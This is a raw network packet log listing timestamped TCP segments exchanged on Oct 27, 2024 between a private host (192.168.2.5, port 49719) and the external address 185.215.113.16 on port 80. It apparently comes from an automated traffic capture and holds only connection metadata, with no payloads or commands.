Oct 27, 2024 20:15:34.431837082 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.432631969 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.432702065 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.432708979 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.432719946 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.432748079 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.432754993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.432760954 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.432807922 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.432832003 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.432842016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.432883024 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.432919979 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.432925940 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.432975054 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433010101 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433020115 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.433043957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433053970 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.433078051 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433111906 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433126926 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.433147907 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433192015 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433202982 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.433244944 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433279991 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433291912 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.433352947 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433387041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433420897 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433430910 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.433474064 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433506012 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433518887 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.433540106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433549881 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.433590889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433624029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433638096 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.433676958 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433710098 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433723927 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.433739901 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433773041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433809996 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.433820009 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433832884 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.433870077 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.469484091 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.469548941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.469563007 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.469587088 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.469638109 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.469778061 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.469811916 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.469890118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.469896078 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.469944000 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.469999075 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470032930 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470042944 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.470067024 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470079899 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.470124006 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470170021 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.470175982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470211983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470246077 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470269918 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.470284939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470350027 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470403910 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470411062 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.470460892 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470505953 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.470515966 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470546007 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470558882 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.470597982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470654011 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470686913 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470700026 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.470722914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470768929 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.470777035 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470823050 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470825911 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.470855951 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470890999 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470900059 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.470921040 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.470974922 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471009970 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471019030 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.471043110 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471086025 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.471096992 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471129894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471136093 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.471183062 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471216917 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471227884 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.471270084 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471304893 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471323967 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.471359968 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471411943 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471446037 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471457005 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.471481085 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471513987 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471524000 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.471548080 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471554041 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.471581936 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471615076 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471631050 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.471647978 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471681118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471693993 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.471714020 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471771955 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471807003 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471822023 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.471838951 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471872091 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471884966 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.471915960 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.471926928 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471961021 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.471996069 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472003937 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.472032070 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472065926 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472104073 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.472106934 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472136974 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472168922 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472198963 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.472203016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472234964 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472254992 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.472269058 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472271919 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.472301960 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472337008 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472347021 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.472369909 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472403049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472417116 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.472433090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472465992 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472498894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472511053 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.472533941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472567081 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472578049 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.472599983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472609997 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.472636938 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472666979 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472676992 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.472701073 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472734928 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472770929 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.472780943 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.473959923 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.509315014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.509419918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.509452105 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.509483099 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.509486914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.509524107 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.509537935 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.509577990 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.509630919 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.509634018 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.509668112 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.509720087 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.509727001 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.509788036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.509845018 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.509881973 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.509890079 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.509917021 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.509948969 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.509958982 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.509988070 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.509999037 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.510020018 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.510054111 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.510065079 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.510088921 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.510121107 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.510169029 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.510179043 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.510215998 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.510260105 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.547650099 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.547713995 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.547749996 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.547861099 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.547914982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.547950029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.547956944 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.547986031 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.547998905 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.548021078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548055887 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548063040 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.548089981 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548130035 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548131943 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.548183918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548230886 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.548234940 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548269033 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548310041 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.548321009 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548372030 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548407078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548429966 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.548439980 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548474073 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548510075 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548527002 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.548544884 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.548547029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548587084 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548640013 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548671961 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548683882 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.548707962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548739910 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.548741102 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548774958 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548789978 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.548810005 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548846006 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548856974 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.548878908 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548913002 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548918009 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.548947096 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.548980951 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.549015999 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.549032927 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.549061060 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.549094915 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.549107075 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.549129009 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.549133062 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.549171925 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.549228907 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.549741030 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.549794912 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.549830914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.549874067 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.549940109 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.549997091 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550029993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550036907 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.550060987 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550076008 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.550111055 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550165892 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550199986 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550209045 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.550256968 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550262928 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.550309896 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550343990 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550375938 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550406933 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.550426960 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.550432920 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550467014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550501108 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550517082 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.550532103 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550564051 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550597906 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550611973 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.550626993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550661087 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550678015 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.550720930 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550765038 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.550769091 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550801992 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550813913 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.550858021 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550892115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550956964 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.550973892 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.551008940 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.551012993 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.551043987 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.551078081 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.551110983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.551121950 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.551143885 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.551167965 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.551177979 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.551212072 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.551245928 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.551254034 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.551278114 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.551321983 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.551331043 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.551392078 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.586443901 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.586518049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.586541891 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.586559057 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.586594105 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.586632967 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.596868992 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.602417946 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.602493048 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.602529049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.602592945 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.602602005 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.602638006 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.602674007 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.602691889 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.602709055 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.602770090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.602799892 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.602803946 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.602839947 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.602874041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.602890968 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.602904081 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.602926016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.602961063 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.602991104 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.602997065 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.603032112 CET	80	49719	185.215.113.16	192.168.2.5
